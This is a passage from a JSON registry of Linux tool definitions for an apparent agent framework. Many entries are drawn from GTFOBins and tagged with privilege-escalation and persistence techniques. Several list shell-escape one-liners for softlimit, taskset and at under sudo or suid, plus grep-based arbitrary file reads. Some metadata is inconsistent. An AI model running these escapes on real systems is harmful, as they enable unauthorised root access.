        "required": false,
        "default_value": null,
        "description": "do not interpret ANSI color and style sequences",
        "aliases": [
          "-C",
          "--no-color"
        ],
        "flag": "-C"
      },
      {
        "name": "differences",
        "template_key": "differences",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "highlight changes between updates",
        "aliases": [
          "-d",
          "--differences"
        ],
        "flag": "-d"
      },
      {
        "name": "errexit",
        "template_key": "errexit",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "exit if command has a non-zero exit",
        "aliases": [
          "-e",
          "--errexit"
        ],
        "flag": "-e"
      },
      {
        "name": "chgexit",
        "template_key": "chgexit",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "exit when output from command changes",
        "aliases": [
          "-g",
          "--chgexit"
        ],
        "flag": "-g"
      },
      {
        "name": "equexit",
        "template_key": "equexit",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "exit when output from command does not change",
        "aliases": [
          "-q",
          "--equexit <cycles>"
        ],
        "flag": "-q"
      },
      {
        "name": "interval",
        "template_key": "interval",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "-n",
          "--interval <secs>"
        ],
        "flag": "-n"
      },
      {
        "name": "precise",
        "template_key": "precise",
        "type": "number",
        "required": false,
        "default_value": null,
        "description": "attempt run command in precise intervals",
        "aliases": [
          "-p",
          "--precise"
        ],
        "flag": "-p"
      },
      {
        "name": "no-rerun",
        "template_key": "no-rerun",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "do not rerun program on window resize",
        "aliases": [
          "-r",
          "--no-rerun"
        ],
        "flag": "-r"
      },
      {
        "name": "no-title",
        "template_key": "no-title",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "turn off header",
        "aliases": [
          "-t",
          "--no-title"
        ],
        "flag": "-t"
      },
      {
        "name": "no-wrap",
        "template_key": "no-wrap",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "turn off line wrapping",
        "aliases": [
          "-w",
          "--no-wrap"
        ],
        "flag": "-w"
      },
      {
        "name": "exec",
        "template_key": "exec",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "pass command to exec instead of \"sh -c\"",
        "aliases": [
          "-x",
          "--exec"
        ],
        "flag": "-x"
      },
      {
        "name": "help",
        "template_key": "help",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "display this help and exit",
        "aliases": [
          "-h",
          "--help"
        ],
        "flag": "-h"
      },
      {
        "name": "version",
        "template_key": "version",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "-v",
          "--version"
        ],
        "flag": "-v"
      }
    ],
    "platforms": [
      "linux"
    ],
    "risk_level": "low",
    "techniques": [
      "execution",
      "impact",
      "command-and-control",
      "defense-evasion",
      "discovery",
      "enumeration",
      "persistence",
      "privilege-escalation",
      "process-manip"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\n# systemd-resolve\n\nsystemd-resolve is a command-line utility. DNS resolution utility from systemd Can leverage capabilities from: less.\n",
    "_source": "systemd-resolve.md",
    "allowed-tools": [
      "systemd-resolve"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "DNS resolver from systemd; can read arbitrary files.",
    "examples": [
      {
        "description": "Leverage less capabilities",
        "command": "systemd-resolve --status"
      }
    ],
    "execution": {
      "template": "systemd-resolve",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local",
      "pipes-stdin"
    ],
    "global_vars": {},
    "id": "system-resolve-systemd-resolve",
    "install": [
      {
        "method": "apt",
        "package_name": "systemd",
        "commands": [
          "apt-get install -y systemd"
        ]
      }
    ],
    "name": "systemd-resolve",
    "namespace": "system:resolve:systemd-resolve",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/systemd-resolve/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access",
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# softlimit\n\nsoftlimit is a command-line utility. Set soft resource limits for a command; can also spawn an interactive shell.\n",
    "_source": "softlimit.md",
    "allowed-tools": [
      "softlimit"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.privilege-escalation.shell"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Set soft resource limits for commands; can spawn a shell.",
    "examples": [
      {
        "description": "Spawn an interactive shell (sudo, suid, unprivileged)",
        "command": "softlimit /bin/sh"
      }
    ],
    "execution": {
      "template": "softlimit",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "interactive",
      "process-manip",
      "requires-root"
    ],
    "global_vars": {},
    "id": "system-resource-softlimit",
    "install": [
      {
        "method": "apt",
        "package_name": "daemontools",
        "commands": [
          "apt-get install -y daemontools"
        ]
      }
    ],
    "name": "softlimit",
    "namespace": "system:resource:softlimit",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/softlimit/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "privilege-escalation",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access",
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# at\n\nat is a command-line utility. Job scheduler for one-time task execution; can execute arbitrary commands and spawn shells Can also execute arbitrary commands, spawn an interactive shell.\n",
    "_source": "at.md",
    "allowed-tools": [
      "at"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.execution.command",
      "security.privilege-escalation.shell"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Job scheduler for one-time task execution; can execute arbitrary commands and spawn shells Can also execute arbitrary commands, spawn an interactive shell.",
    "examples": [
      {
        "description": "Execute arbitrary commands",
        "command": "echo /path/to/command | at now"
      },
      {
        "description": "Spawn an interactive shell",
        "command": "echo \"/bin/sh <$(tty) >$(tty) 2>$(tty)\" | at now; tail -f /dev/null"
      }
    ],
    "execution": {
      "template": "at",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "interactive",
      "pipes-stdin",
      "process-manip",
      "requires-root"
    ],
    "global_vars": {},
    "id": "system-scheduler-at",
    "install": [
      {
        "method": "apt",
        "package_name": "at",
        "commands": [
          "apt-get install -y at"
        ]
      }
    ],
    "name": "at",
    "namespace": "system:scheduler:at",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/at/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "execution",
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access",
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n\n# cron — Daemon to execute scheduled commands\n\n## Overview\n\n`cron` is a command-line utility for daemon to execute scheduled commands.\n\n## Usage\n\n```\ncron -f {flag-f} -l {flag-l} -n {flag-n} -N {flag-n} -L {flag-l}\n```\n",
    "_source": "cron.md",
    "architectures": [
      "amd64",
      "arm64"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "system.scheduler.cron",
      "system.scheduler.cron"
    ],
    "description": "Daemon to execute scheduled commands",
    "examples": [
      {
        "description": "Basic usage with flag-f",
        "command": "cron ${flag-f}"
      },
      {
        "description": "Display help message",
        "command": "cron --help"
      }
    ],
    "execution": {
      "template": "cron -f {flag-f} -l {flag-l} -n {flag-n} -N {flag-n} -L {flag-l}",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "local",
      "requires-root"
    ],
    "id": "system-scheduler-cron",
    "install": [
      {
        "method": "apt",
        "package_name": "cron",
        "commands": [
          "apt-get install -y cron"
        ]
      }
    ],
    "name": "cron",
    "namespace": "system:scheduler:cron",
    "parameters": [
      {
        "name": "flag-f",
        "template_key": "flag-f",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Stay in foreground mode, don't daemonize",
        "aliases": [
          "-f"
        ],
        "flag": "-f"
      },
      {
        "name": "flag-l",
        "template_key": "flag-l",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Enable LSB compliant names for /etc/cron.d files. This setting, however, does not affect the parsing of files under /etc/cron.hourly, /etc/cron.daily, /etc/cron.weekly or /etc/cron.monthly",
        "aliases": [
          "-l"
        ],
        "flag": "-l"
      },
      {
        "name": "flag-n",
        "template_key": "flag-n",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Include the FQDN in the subject when sending mails. By default, cron will abbreviate the hostname",
        "aliases": [
          "-n"
        ],
        "flag": "-n"
      },
      {
        "name": "flag-N",
        "template_key": "flag-n",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Run cron jobs Now, immediately, and exit. This option is useful to perform tests",
        "aliases": [
          "-N"
        ],
        "flag": "-N"
      },
      {
        "name": "flag-L",
        "template_key": "flag-l",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Tell cron what to log about jobs (errors are logged regardless of this value) as the sum of the following values:",
        "aliases": [
          "-L"
        ],
        "flag": "-L"
      },
      {
        "name": "flag-x",
        "template_key": "flag-x",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Tell cron to be more verbose and output debugging information; debugflags is the sum of those values:",
        "aliases": [
          "-x"
        ],
        "flag": "-x"
      }
    ],
    "platforms": [
      "linux"
    ],
    "risk_level": "medium",
    "techniques": [
      "execution",
      "persistence",
      "command-and-control"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\n\n# crontab — Cron Table Manager\n\ncrontab manages cron jobs for task scheduling. With `-e`, it opens the default editor (vi) to edit the crontab, where arbitrary commands can be scheduled. Also allows editor escape via vi for shell access.\n",
    "_source": "crontab.md",
    "allowed-tools": [
      "crontab",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "Repository Maintainers",
    "capabilities": [
      "security.execution.command",
      "system.scheduler.cron",
      "security.privilege-escalation.shell"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "system.scheduler.cron",
          "description": "Scheduled cron job"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 4,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Schedule periodic tasks via cron, can execute commands via editor escape or direct scheduling.",
    "examples": [
      {
        "description": "Edit crontab and schedule a shell command for execution",
        "command": "crontab -e"
      }
    ],
    "execution": {
      "template": "crontab {e}",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "process-manip"
    ],
    "global_vars": {},
    "id": "system-scheduler-crontab",
    "install": [
      {
        "method": "apt",
        "package_name": "cron",
        "commands": [
          "apt-get install -y cron"
        ]
      }
    ],
    "name": "crontab",
    "namespace": "system:scheduler:crontab",
    "parameters": [
      {
        "name": "e",
        "type": "string",
        "required": false,
        "description": "Edit crontab",
        "aliases": [
          "-e"
        ],
        "flag": "-e"
      }
    ],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "crontab man page",
        "url": "https://man7.org/linux/man-pages/man5/crontab.5.html"
      }
    ],
    "related_tools": [
      "cron",
      "at"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 4,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "privilege-escalation",
      "execution",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "scheduled-task",
        "shell-access"
      ],
      "consumes": []
    }
  },
  {
    "_body": "",
    "_source": "run-parts.md",
    "allowed-tools": [
      "run-parts",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 2,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Run scripts in a directory, can execute commands.",
    "examples": [
      {
        "description": "Execute commands in a directory",
        "command": "run-parts /path/to/dir"
      }
    ],
    "execution": {
      "template": "run-parts /path/to/dir",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "process-manip"
    ],
    "global_vars": {},
    "id": "system-scheduler-run-parts",
    "install": [
      {
        "method": "apt",
        "package_name": "debianutils",
        "commands": [
          "apt-get install -y debianutils"
        ]
      }
    ],
    "name": "run-parts",
    "namespace": "system:scheduler:run-parts",
    "parameters": [],
    "platforms": [
      "linux",
      "bsd"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/run-parts/"
      }
    ],
    "related_tools": [
      "crontab"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 2,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-execution"
      ],
      "consumes": [
        "execution-context"
      ]
    }
  },
  {
    "_body": "\n# taskset\n\ntaskset is a command-line utility. Set or retrieve CPU affinity of a process; can also spawn an interactive shell.\n",
    "_source": "taskset.md",
    "allowed-tools": [
      "taskset"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.privilege-escalation.shell"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Get/set CPU affinity for processes; can spawn a shell.",
    "examples": [
      {
        "description": "Spawn an interactive shell (sudo, unprivileged)",
        "command": "taskset 1 /bin/sh"
      }
    ],
    "execution": {
      "template": "taskset",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "interactive",
      "process-manip",
      "requires-root"
    ],
    "global_vars": {},
    "id": "system-scheduler-taskset",
    "install": [
      {
        "method": "apt",
        "package_name": "util-linux",
        "commands": [
          "apt-get install -y util-linux"
        ]
      }
    ],
    "name": "taskset",
    "namespace": "system:scheduler:taskset",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/taskset/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "privilege-escalation",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access",
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# egrep\n\negrep is a command-line utility. Extended grep for pattern matching in files; can also read arbitrary files.\n",
    "_source": "egrep.md",
    "allowed-tools": [
      "egrep"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "system.file.read"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Extended grep for pattern searching in files; can read arbitrary files.",
    "examples": [
      {
        "description": "Read arbitrary files (sudo, suid, unprivileged)",
        "command": "grep '' /path/to/input-file"
      }
    ],
    "execution": {
      "template": "egrep",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local",
      "pipes-stdin"
    ],
    "global_vars": {},
    "id": "system-search-egrep",
    "install": [
      {
        "method": "apt",
        "package_name": "grep",
        "commands": [
          "apt-get install -y grep"
        ]
      }
    ],
    "name": "egrep",
    "namespace": "system:search:egrep",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/egrep/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "collection"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access",
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# fgrep\n\nfgrep is a command-line utility. Fixed-string grep for literal pattern matching; can also read arbitrary files.\n",
    "_source": "fgrep.md",
    "allowed-tools": [
      "fgrep"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "system.file.read"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Fixed-string grep for literal pattern searching; can read arbitrary files.",
    "examples": [
      {
        "description": "Read arbitrary files (sudo, suid, unprivileged)",
        "command": "grep '' /path/to/input-file"
      }
    ],
    "execution": {
      "template": "fgrep",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local",
      "pipes-stdin"
    ],
    "global_vars": {},
    "id": "system-search-fgrep",
    "install": [
      {
        "method": "apt",
        "package_name": "grep",
        "commands": [
          "apt-get install -y grep"
        ]
      }
    ],
    "name": "fgrep",
    "namespace": "system:search:fgrep",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/fgrep/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "collection"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access",
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# zgrep\n\nzgrep is a command-line utility. Search gzipped files for patterns; can also read arbitrary files.\n",
    "_source": "zgrep.md",
    "allowed-tools": [
      "zgrep"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "system.file.read"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Search gzipped files for patterns; can read arbitrary files.",
    "examples": [
      {
        "description": "Read arbitrary files (sudo, unprivileged)",
        "command": "grep '' /path/to/input-file"
      }
    ],
    "execution": {
      "template": "zgrep",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "compression",
      "file-system",
      "local",
      "pipes-stdin"
    ],
    "global_vars": {},
    "id": "system-search-zgrep",
    "install": [
      {
        "method": "apt",
        "package_name": "gzip",
        "commands": [
          "apt-get install -y gzip"
        ]
      }
    ],
    "name": "zgrep",
    "namespace": "system:search:zgrep",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/zgrep/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "collection"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access",
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "",
    "_source": "fail2ban-client.md",
    "allowed-tools": [
      "fail2ban-client",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 4,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Fail2ban client, can execute commands via crafted config.",
    "examples": [
      {
        "description": "Execute command via fail2ban-client",
        "command": "fail2ban-client config"
      }
    ],
    "execution": {
      "template": "fail2ban-client config",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "process-manip"
    ],
    "global_vars": {},
    "id": "system-service-fail2ban",
    "install": [
      {
        "method": "apt",
        "package_name": "fail2ban",
        "commands": [
          "apt-get install -y fail2ban"
        ]
      }
    ],
    "name": "fail2ban-client",
    "namespace": "system:service:fail2ban",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/fail2ban-client/"
      }
    ],
    "related_tools": [
      "fail2ban"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 4,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-execution"
      ],
      "consumes": [
        "execution-context"
      ]
    }
  },
  {
    "_body": "\n\n# journalctl — Query the systemd journal\n\n## Overview\n\n`journalctl` is a command-line utility for query the systemd journal.\n\n## Usage\n\n```\njournalctl --system {system} --user {user} -M {machine} -m {merge} -D {directory}\n```\n",
    "_source": "journalctl.md",
    "architectures": [
      "amd64",
      "arm64"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "system.service.journalctl"
    ],
    "description": "Query the systemd journal",
    "examples": [
      {
        "description": "Basic usage with system",
        "command": "journalctl ${system}"
      },
      {
        "description": "Display help message",
        "command": "journalctl --help"
      }
    ],
    "execution": {
      "template": "journalctl --system {system} --user {user} -M {machine} -m {merge} -D {directory}",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "local",
      "requires-root"
    ],
    "id": "system-service-journalctl",
    "install": [
      {
        "method": "apt",
        "package_name": "systemd",
        "commands": [
          "apt-get install -y systemd"
        ]
      }
    ],
    "name": "journalctl",
    "namespace": "system:service:journalctl",
    "parameters": [
      {
        "name": "after-cursor",
        "template_key": "after-cursor",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Show entries after the specified cursor",
        "aliases": [
          "--after-cursor"
        ],
        "flag": "--after-cursor"
      },
      {
        "name": "all",
        "template_key": "all",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Show all fields, including long and unprintable",
        "aliases": [
          "-a",
          "--all"
        ],
        "flag": "-a"
      },
      {
        "name": "boot",
        "template_key": "boot",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Show current boot or the specified boot",
        "aliases": [
          "-b",
          "--boot"
        ],
        "flag": "-b"
      },
      {
        "name": "case-sensitive",
        "template_key": "case-sensitive",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "--case-sensitive"
        ],
        "flag": "--case-sensitive"
      },
      {
        "name": "catalog",
        "template_key": "catalog",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Add message explanations where available",
        "aliases": [
          "-x",
          "--catalog"
        ],
        "flag": "-x"
      },
      {
        "name": "cursor",
        "template_key": "cursor",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Show entries starting at the specified cursor",
        "aliases": [
          "-c",
          "--cursor"
        ],
        "flag": "-c"
      },
      {
        "name": "cursor-file",
        "template_key": "cursor-file",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "Show entries after cursor in FILE and update FILE",
        "aliases": [
          "--cursor-file"
        ],
        "flag": "--cursor-file"
      },
      {
        "name": "directory",
        "template_key": "directory",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "Show journal files from directory",
        "aliases": [
          "-D",
          "--directory"
        ],
        "flag": "-D"
      },
      {
        "name": "disk-usage",
        "template_key": "disk-usage",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Show total disk usage of all journal files",
        "aliases": [
          "--disk-usage"
        ],
        "flag": "--disk-usage"
      },
      {
        "name": "dmesg",
        "template_key": "dmesg",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Show kernel message log from the current boot",
        "aliases": [
          "-k",
          "--dmesg"
        ],
        "flag": "-k"
      },
      {
        "name": "dump_catalog",
        "type": "boolean",
        "required": false,
        "description": "Show entries in the message catalog",
        "aliases": [
          "--dump-catalog"
        ],
        "flag": "--dump-catalog"
      },
      {
        "name": "exclude-identifier",
        "template_key": "exclude-identifier",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Hide entries with the specified syslog identifier",
        "aliases": [
          "-T",
          "--exclude-identifier"
        ],
        "flag": "-T"
      },
      {
        "name": "facility",
        "template_key": "facility",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "--facility"
        ],
        "flag": "--facility"
      },
      {
        "name": "field",
        "template_key": "field",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "List all values that a specified field takes",
        "aliases": [
          "-F",
          "--field"
        ],
        "flag": "-F"
      },
      {
        "name": "fields",
        "template_key": "fields",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "List all field names currently used",
        "aliases": [
          "-N",
          "--fields"
        ],
        "flag": "-N"
      },
      {
        "name": "file",
        "template_key": "file",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "Show journal file",
        "aliases": [
          "-i",
          "--file"
        ],
        "flag": "-i"
      },
      {
        "name": "follow",
        "template_key": "follow",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Follow the journal",
        "aliases": [
          "-f",
          "--follow"
        ],
        "flag": "-f"
      },
      {
        "name": "force",
        "template_key": "force",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Override of the FSS key pair with --setup-keys",
        "aliases": [
          "--force"
        ],
        "flag": "--force"
      },
      {
        "name": "grep",
        "template_key": "grep",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Show entries with MESSAGE matching PATTERN",
        "aliases": [
          "-g",
          "--grep"
        ],
        "flag": "-g"
      },
      {
        "name": "help",
        "template_key": "help",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Show this help text",
        "aliases": [
          "-h",
          "--help"
        ],
        "flag": "-h"
      },
      {
        "name": "identifier",
        "template_key": "identifier",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Show entries with the specified syslog identifier",
        "aliases": [
          "-t",
          "--identifier"
        ],
        "flag": "-t"
      },
      {
        "name": "image",
        "template_key": "image",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "Operate on disk image as filesystem root",
        "aliases": [
          "--image"
        ],
        "flag": "--image"
      },
      {
        "name": "image-policy",
        "template_key": "image-policy",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Specify disk image dissection policy",
        "aliases": [
          "--image-policy"
        ],
        "flag": "--image-policy"
      },
      {
        "name": "interval",
        "template_key": "interval",
        "type": "number",
        "required": false,
        "default_value": null,
        "description": "Time interval for changing the FSS sealing key",
        "aliases": [
          "--interval"
        ],
        "flag": "--interval"
      },
      {
        "name": "invocation",
        "template_key": "invocation",
